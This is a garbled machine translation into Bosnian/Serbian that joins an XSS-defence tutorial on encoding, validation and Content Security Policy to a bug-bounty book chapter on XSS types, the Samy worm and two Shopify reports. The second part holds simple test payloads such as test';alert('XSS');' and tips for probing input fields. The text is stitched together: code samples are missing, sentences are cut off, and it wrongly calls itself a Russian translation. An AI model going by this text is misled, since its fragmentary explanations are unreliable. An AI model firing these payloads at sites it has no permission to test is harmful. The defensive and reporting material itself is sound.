Kada kodirate korisnički unos na strani klijenta koristeći JavaScript, postoji nekoliko ugrađenih metoda i svojstava koja automatski kodiraju sve podatke u kontekstu osjetljivom stilu:

Posljednji kontekst koji je već spomenut gore (vrijednosti u JavaScriptu) nije uključen u ovu listu jer JavaScript ne pruža ugrađeni način kodiranja podataka koji će biti uključeni u izvorni kod JavaScript.

Čak i kada se kodira, moguće je koristiti zlonamjerne nizove u nekim kontekstima. Jasan primjer ovoga je kada se korisnički unos koristi za pružanje URL-a, kao u primjeru ispod:

document.querySelector("a").href = korisnički unos

Iako navođenje vrijednosti u svojstvu href elementa automatski ga kodira tako da postaje ništa drugo do vrijednost atributa, to samo po sebi ne sprječava napadača da ubaci URL koji počinje sa "javascript:". Kada se klikne na vezu, bez obzira na konstrukciju, ugrađeni JavaScript unutar URL-a će se izvršiti.

Kodiranje također nije efikasno rešenje kada želite da korisnici mogu koristiti dio HTML kodova na stranici. Primjer bi bila stranica korisničkog profila na kojoj korisnik može koristiti prilagođeni HTML. Ako je ovaj obični HTML kodiran, stranica profila će se moći sastojati samo od običnog teksta.

U takvim situacijama kodiranje mora biti dopunjeno validacijom, koju ćemo kasnije pogledati.

Validacija je čin filtriranja korisničkog unosa tako da se uklone svi zlonamjerni dijelovi, a da se ne mora ukloniti sav kod u njemu. Jedna od najčešće korištenih vrsta provjere valjanosti u web razvoju omogućava vam da koristite neke HTML elemente (na primjer, i ) dok onemogućujete druge (na primjer, ).

Postoje dvije glavne karakteristične provjere, koje se razlikuju po implementaciji:

Strategija klasifikacije Korisnički unos se može klasifikovati korišćenjem crnih ili belih lista.

Strategija klasifikacije Crna lista Instinktivno, čini se prikladnim izvršiti provjeru definiranjem zabranjenog uzorka koji se ne bi trebao pojaviti u korisničkom unosu. Ako linija odgovara ovom uzorku, ona je označena kao nevažeća. Na primjer, dozvolite korisnicima da pošalju prilagođene URL-ove s bilo kojim protokolom osim javascript-a: . Ova strategija klasifikacije se zove.

crna lista

Međutim, crna lista ima dva glavna nedostatka: Teškoća preciznog opisivanja skupa svih mogućih zlonamjernih nizova je obično vrlo težak zadatak. Gore opisani primjer politike ne može uspješno implementirati jednostavna pretraga podnizom "javascript", jer će propustiti niz poput "Javascript:" (gdje je prvo slovo u velika slova

) i "javascript:" (gdje je prvo slovo kodirano kao referenca na numerički karakter).

Zbog ovih nedostataka, stavljanje na crnu listu se ne preporučuje kao strategija klasifikacije. Stavljanje na bijelu listu je općenito mnogo sigurniji pristup, koji ćemo opisati u nastavku. Bijela lista Bijela lista je u suštini suprotno od crne liste: umjesto definiranja zabranjenog obrasca, pristup bijela lista određuje dozvoljeni obrazac i označava unos kao nevažeći ako jeste

Za razliku od crnih lista, primjer bijelih lista bi bio da se korisnicima omogući slanje prilagođenih URL-ova koji sadrže samo http: i https: protokole, ništa više. Ovaj pristup bi omogućio da se URL automatski označi kao nevažeći ako sadrži javascript: protokol, čak i ako je predstavljen kao "Javascript:" ili "javascript:".

U poređenju sa crnom listom, bele liste imaju dve glavne prednosti:

Jednostavnost Precizno opisivanje skupa benignih nizova je obično mnogo lakše nego identificirati skup svih zlonamjernih nizova. Ovo je posebno primjenjivo u općim situacijama kada korisnički unos mora uključivati ​​vrlo ograničen skup funkcionalnost dostupno u pretraživaču. Na primjer, gore opisana bijela lista vrlo jednostavno dozvoljava korištenje URL-ova samo uz dozvoljene HTTP: ili https: protokole, au većini situacija je to sasvim dovoljno za korisnike.

Rezultat validacije

Kada je korisnički unos označen kao nevažeći (zabranjeni), može se poduzeti jedna od dvije radnje:

Odbijanje unosa se jednostavno odbija, sprečavajući da se koristi na drugom mestu na sajtu. Saniranjem svi nevažeći dijelovi ulaznih podataka se uklanjaju, a preostali unos se koristi na web stranici kao i obično. Od ta dva, skretanje je najjednostavniji pristup za implementaciju. Ali dezinfekcija se smatra korisnijom jer korisniku pruža širi opseg unosa. Na primjer, ako korisnik pošalje broj

Ako odlučite provesti dezinfekciju, morate osigurati da sama procedura dezinfekcije ne koristi pristup crne liste. Na primjer, URL "Javascript:...", čak i ako je identificiran korištenjem bijele liste kao nevažeći, primio bi rutinu zaobilaženja dezinfekcije koja jednostavno uklanja sve instance "javascript:". Iz tog razloga, dobro testirane biblioteke i okviri treba da koriste sanitizaciju kad god je to moguće.

Kodiranje bi trebalo da bude vaša prva linija odbrane od XSS napada, njegova svrha je da obrađuje podatke na takav način da pretraživač ne može da tumači korisnički unos kao kod. U nekim slučajevima, kodiranje mora biti dopunjeno validacijom. Kodiranje i validacija se moraju primijeniti na odlaznog saobraćaja jer samo tada možete znati u kom kontekstu će se korisnički unos primijeniti i koje kodiranje i provjeru valjanosti treba primijeniti.

Kao drugu liniju odbrane, trebalo bi da primenite sanitaciju dolaznih podataka ili odbijanje očigledno nevažećih korisničkih unosa, kao što su veze, koristeći javascript: protokol. Ovo samo po sebi ne može pružiti potpunu sigurnost, ali je korisna mjera predostrožnosti ako bi bilo koja točka u zaštiti kodiranja i validacije mogla propasti zbog neispravnog izvršenja.

Ako se ove dvije linije odbrane koriste dosljedno, vaša stranica će biti zaštićena od XSS napada. Međutim, zbog složenosti kreiranja i održavanja web stranice, pružanje potpune sigurnosti korištenjem samo sigurne obrade korisničkog unosa može biti teško. Kao treću liniju odbrane, trebali biste koristiti Politike sigurnosti sadržaja ( engleski Politika sigurnosti sadržaja), zatim CSP, koji ćemo opisati u nastavku.

Korištenje samo sigurnog rukovanja korisničkim unosom za zaštitu od XSS napada nije dovoljno jer čak i jedna sigurnosna greška može ugroziti vašu web stranicu. Usvajanje politika sigurnosti sadržaja (CSP) iz novog web standarda može smanjiti ovaj rizik.

CSP-ovi se koriste za ograničavanje upotrebe web stranice od strane pretraživača tako da može koristiti samo resurse preuzete iz pouzdanih izvora. A resurse su skripte, stilovi, slike ili neka druga vrsta datoteke koja se referencira na stranici. To znači da čak i ako napadač uspije ubaciti zlonamjerni sadržaj na vašu web lokaciju, CSP će moći spriječiti njegovo izvršenje.

CSP se može koristiti za provođenje sljedećih pravila:

Zabrana nepouzdanih izvora Eksterni resursi se mogu preuzeti samo iz skupa jasno definisanih pouzdanih izvora.

Onemogućavanje eval-a zabranjuje upotrebu funkcije eval u JavaScript-u. CSP u akciji U sljedećem primjeru, napadač je uspio ubrizgati

zadnji komentar:

zlonamjernog koda

na web stranicu: Sa ispravno definisanom CSP politikom, pretraživač ne može preuzeti i izvršiti malicious-script.js jer http://attacker/ nije naveden kao pouzdan izvor. Iako web lokacija nije uspjela pouzdano obraditi korisnički unos u ovom slučaju, politika CSP-a spriječila je da ranjivost nanese bilo kakvu štetu.Čak i ako je napadač ubacio kod unutar koda skripte, a ne sa vezom na

, pravilno konfigurisana CSP politika će takođe sprečiti ubrizgavanje u JavaScript kod, sprečavajući ranjivost i izazivajući bilo kakvu štetu.

Kako omogućiti CSP?

Podrazumevano, pretraživači ne koriste CSP. Da biste omogućili SCP na vašoj web stranici, stranice moraju sadržavati dodatno HTTP zaglavlje: Content‑Security‑Policy. Svaka stranica koja sadrži ovo zaglavlje će primijeniti sigurnosne politike kada je učita pretraživač, pod uslovom da pretraživač podržava CSP.

Budući da se sigurnosna politika šalje sa svakim HTTP odgovorom, moguće je da server postavi politiku zasebno za svaku stranicu. Ista politika se može primijeniti na cijelu web stranicu umetanjem istog CSP zaglavlja u svaki odgovor.

Primeri naslova u ovom odeljku koriste prelome redova i uvlačenja radi lakšeg snalaženja; ne bi trebalo da se pojavljuju u stvarnom naslovu.

CSP sintaksa
Sintaksa CSP zaglavlja je sljedeća: Politika sigurnosti sadržaja:, Politika sigurnosti sadržaja:, ...;
Sintaksa CSP zaglavlja je sljedeća: ...;
...

direktiva

• izvorni izraz
• Izvorni izrazi su modeli koji opisuju jedan ili više servera s kojih se resursi mogu učitati.

Za svaku direktivu, podaci u izvornom izrazu određuju koji se izvori mogu koristiti za učitavanje resursa odgovarajućeg tipa.

Sljedeće direktive se mogu koristiti u CSP zaglavlju:

• connect-src
• font-src
• frame-src
• img-src
• media-src
• object‑src
• script-src
• style-src

Osim toga, posebna default-src direktiva se može koristiti za obezbjeđivanje default vrijednosti za sve direktive koje nisu uključene u zaglavlje.

Sintaksa za kreiranje izvornog izraza je sljedeća:

protokol: ime hosta: broj porta

Ime hosta može početi sa *, što znači da će bilo koja poddomena navedenog imena hosta biti razriješena. Slično, broj porta može biti predstavljen kao *, što znači da će svi portovi biti dozvoljeni. Dodatno, protokol i broj porta mogu biti izostavljeni. Ako nije naveden nijedan protokol, politika će zahtijevati da se svi resursi učitaju koristeći HTTPS.

Pored gornje sintakse, izvorni izraz može alternativno biti jedna od četiri ključne riječi sa posebnim značenjem (uključeni citati):

"none" onemogućava resurse.

"self" dozvoljava resurse sa hosta na kojem se web stranica nalazi.

CSP sintaksa
"unsafe-eval" omogućava JavaScript funkciju eval.
Imajte na umu da kad god se koristi CSP, ugrađeni resursi i eval su automatski onemogućeni prema zadanim postavkama. Korištenje "unsafe-inline" i "unsafe-eval" je jedini način da ih koristite.
Primjer politike
script‑src "self" scripts.example.com;

media‑src "nema";

• img‑src *;
• default-src "self" http://*.example.com
• Uz ovaj primjer politike, web stranica će imati sljedeća ograničenja:
• Skripte se mogu preuzeti samo sa hosta na kojem se nalazi web stranica i sa ove adrese: scripts.example.com.

Fajlovi slika mogu se preuzeti sa bilo koje adrese. različitim pretraživačima. Na primjer, upotreba HTTP zaglavlja može se razlikovati između pretraživača. Prije korištenja CSP-a, pogledajte dokumentaciju pretraživača koje planirate podržati.

• XSS napad je napad ubrizgavanjem koda koji je moguć nesigurnom obradom korisničkog unosa.
• Uspješan XSS napad omogućava napadaču da izvrši zlonamjerni JavaScript u pretraživaču žrtve.
• Uspješan XSS napad ugrožava sigurnost i web stranice i njenih korisnika.

• Postoje tri glavne vrste XSS napada:
  • Pohranjeni XSS, gdje zlonamjerni unos potiče iz baze podataka web stranice.
  • Odraženi XSS, gdje zlonamjerni unos potiče od zahtjeva žrtve.
  • XSS napadi u DOM-u, gdje se ranjivost iskorištava u kodu na strani klijenta, a ne na strani servera.
• Svi ovi napadi se izvode različito, ali imaju isti učinak ako su uspješni.

• Najvažniji način za sprečavanje XSS napada je izvođenje sigurne obrade unosa.
  • Kodiranje se mora obaviti kad god je korisnički unos omogućen na stranici.
  • U nekim slučajevima, kodiranje mora biti zamijenjeno ili dopunjeno validacijom.
  • Sigurno rukovanje unosom mora uzeti u obzir kontekst stranice u koji je korisnički unos umetnut.
  • Kako bi se spriječile sve vrste XSS napada, sigurna obrada unosa mora biti obavljena i u kodu na strani klijenta i na strani servera.
• Politika sigurnosti sadržaja (CSP) pruža dodatni sloj zaštite u slučaju da bezbedna obrada unosa sadrži grešku.

Treba napomenuti da postoji ukrštanje u terminologiji koja se koristi za opisivanje XSS-a: XSS napad u DOM-u može biti ili pohranjen ili reflektovan; Ovo nisu odvojene vrste napada. Ne postoji općeprihvaćena terminologija koja pokriva sve tipove XSS-a bez zabune. Bez obzira na terminologiju koja se koristi za opisivanje XSS-a, najvažnije je odrediti vrstu napada, to je moguće ako znate odakle dolazi zlonamjerni unos i gdje se nalazi ranjivost.

Izvorni kod za Višak XSS je dostupan na GitHubu.

Višak XSS nastao je 2013. godine kao dio kursa Sigurnost zasnovana na jeziku na Tehnološkom univerzitetu Chalmers.

Prevod na ruski je izvršio A888R, originalni tekst u engleski: višak-xss.com, komentare, sugestije i greške u prijevodu šaljite ovdje.

Cross-site scripting, ili Cross site scripting, ili XSS, uključuje lokaciju koja uključuje neželjeni Javascript kod, koji se zauzvrat prenosi korisnicima koji izvršavaju kod u svojim pretraživačima. Bezopasni primjer XSS-a (koji je upravo ono što biste trebali koristiti!) izgleda ovako:

alert('XSS');

Ovo će stvoriti Javascript funkcija upozorenje i kreiraće jednostavan (i bezopasan) prozor sa slovima XSS. IN prethodne verzije knjigu, preporučio sam vam da koristite ovaj primjer kada pišete izvještaje. Odnosno, sve dok mi jedan izuzetno uspješan haker nije rekao da je to “užasan primjer”, objašnjavajući da primalac izvještaja o ranjivosti možda neće shvatiti ozbiljnost problema i, budući da je primjer bezopasan, isplatiti malu nagradu.

Dakle, koristite ovaj primjer da otkrijete XSS ranjivost, ali kada pišete izvještaj, razmislite o potencijalnoj šteti koju bi ranjivost mogla uzrokovati i objasnite je. Pod ovim ne mislim reći kompaniji šta je XSS, već objasniti šta možete postići iskorištavanjem ranjivosti i kako to može posebno uticati na njihovu web lokaciju.

Postoje tri različite vrste XSS-a o kojima možete čuti dok istražujete i izvještavate:

• Reflektivni XSS: Ovi napadi se ne pohranjuju na web mjestu, što znači da se XSS generiše i izvršava u jednom zahtjevu i odgovoru.
• Pohranjeni XSS: Ovi napadi se pohranjuju na web mjestu i često su opasniji. Oni se pohranjuju na serveru i izvršavaju na “normalnim” stranicama od strane nesuđenih korisnika.
• Self XSS: Ovi napadi se također ne pohranjuju na web-stranici i obično se koriste kao dio prevare osobe da sama pokrene XSS. brinu o slučajevima u kojima štetu njihovim korisnicima ne mogu učiniti oni sami, već neko drugi, kao što je slučaj sa Reflective and Stored XSS. Međutim, to ne znači da ne biste trebali tražiti Self XSS.

Ako nađete situaciju u kojoj se Self XSS može izvršiti, ali ne i sačuvati, razmislite o tome kako bi se ova ranjivost mogla iskoristiti, možete li je koristiti u kombinaciji s nečim da više ne bude Self XSS?

Jedan od najpoznatijih primjera korištenja XSS-a je MySpace Samy Work autora Samyja Kamkara. U oktobru 2005. Sami je iskoristio pohranjenu XSS ranjivost u MySpace-u, što mu je omogućilo da učita Javascript kod koji se izvršavao svaki put kada bi neko posjetio njegovu MySpace stranicu, dodajući posjetioca stranice kao prijatelja Samijevog profila. Štaviše, kod se takođe kopirao na stranice Samyjevih novih prijatelja, tako da su profili njegovih novih prijatelja ažurirani sljedećim tekstom: "ali prije svega, Samy je moj heroj."

Iako je Samijev primjer bio relativno bezopasan, korištenje XSS-a omogućava krađu prijava, lozinki, bankarskih informacija itd. Uprkos potencijalnoj šteti, popravljanje XSS ranjivosti općenito nije teško i zahtijeva od programera da jednostavno izbjegnu korisnički unos (baš kao HTML injekcija) kada ga renderiraju. Iako, neke web stranice također uklanjaju potencijalno zlonamjerne znakove kada ih haker pošalje.

Težina: Niska
Url: wholesale.shopify.com
Link za prijavu: https://hackerone.com/reports/10629326 Datum prijave: 21. decembar 2015.
Isplaćena nagrada: $500
Opis:

Shopify27 prodajna stranica je jednostavna stranica s direktnim pozivom na akciju - unesite naziv proizvoda i kliknite na „Pronađi proizvode“. Evo snimka ekrana:

XSS ranjivost ovdje je bila najjednostavnija koju možete pronaći - tekst unesen u traku za pretraživanje nije izbjegnut, tako da je svaki uneti Javascript izvršen. Evo poslanog teksta iz opisa ranjivosti: test';alert('XSS');'

Razlog zašto je ovo funkcionisalo je taj što je Shopify uzeo korisnički unos, izvršio upit za pretragu i ako nije bilo rezultata, ispisao poruku u kojoj se kaže da nema rezultata pretrage za uneti pojam za pretragu, prikazujući neizbežni korisnički unos na stranici. Kao rezultat toga, dostavljeni Javascript je prikazan na stranici i pretraživači su ga interpretirali kao izvršni Javascript.

Testirajte sve, obraćajući posebnu pažnju na situacije u kojima se uneseni tekst prikazuje na stranici. Provjerite možete li uključiti HTML ili Javascript u svoj unos i pogledajte kako ih stranica obrađuje. Također pokušajte kodirati ulaz slično onome što je opisano u poglavlju o HTML injekcijama.

XSS ranjivosti ne moraju biti složene ili zbunjujuće. Ova ranjivost je najjednostavnija koja se može zamisliti - jednostavno polje za unos teksta koje ne obrađuje korisnički unos. A otkriven je 21. decembra 2015. i hakeru je donio 500 dolara! Bilo je potrebno samo hakersko razmišljanje.

Težina: Niska
Url: hardware.shopify.com/cart
Link za prijavu: https://hackerone.com/reports/9508928 Datum prijave: 21. oktobar 2015.
Isplaćena nagrada: $500
Opis:

Shopify29 web stranica trgovine poklon karticama omogućava korisnicima da kreiraju vlastite dizajne poklon kartica koristeći HTML obrazac koji uključuje okvir za učitavanje datoteke, nekoliko redova za unos teksta za detalje itd. Evo snimka ekrana:

XSS ranjivost ovdje je pokrenuta kada je Javascript unesen u polje obrasca namijenjeno za naslov slike. Ovo je prilično lako učiniti pomoću HTML proksija, o čemu ćemo govoriti kasnije u poglavlju „Alati“. Dakle, originalno podnošenje obrasca uključivalo je:

Ovdje treba napomenuti dvije stvari koje će pomoći u otkrivanju XSS ranjivosti:

U stvari, svaki put kada vidite provjeru valjanosti uživo u vašem pretraživaču, trebalo bi da bude crvena zastavica za testiranje tog polja! Programeri mogu pogriješiti tako što ne provjere dostavljene vrijednosti za zlonamjerni kod na serveru jer se nadaju da je Javascript validacija pretraživača već obavila provjeru.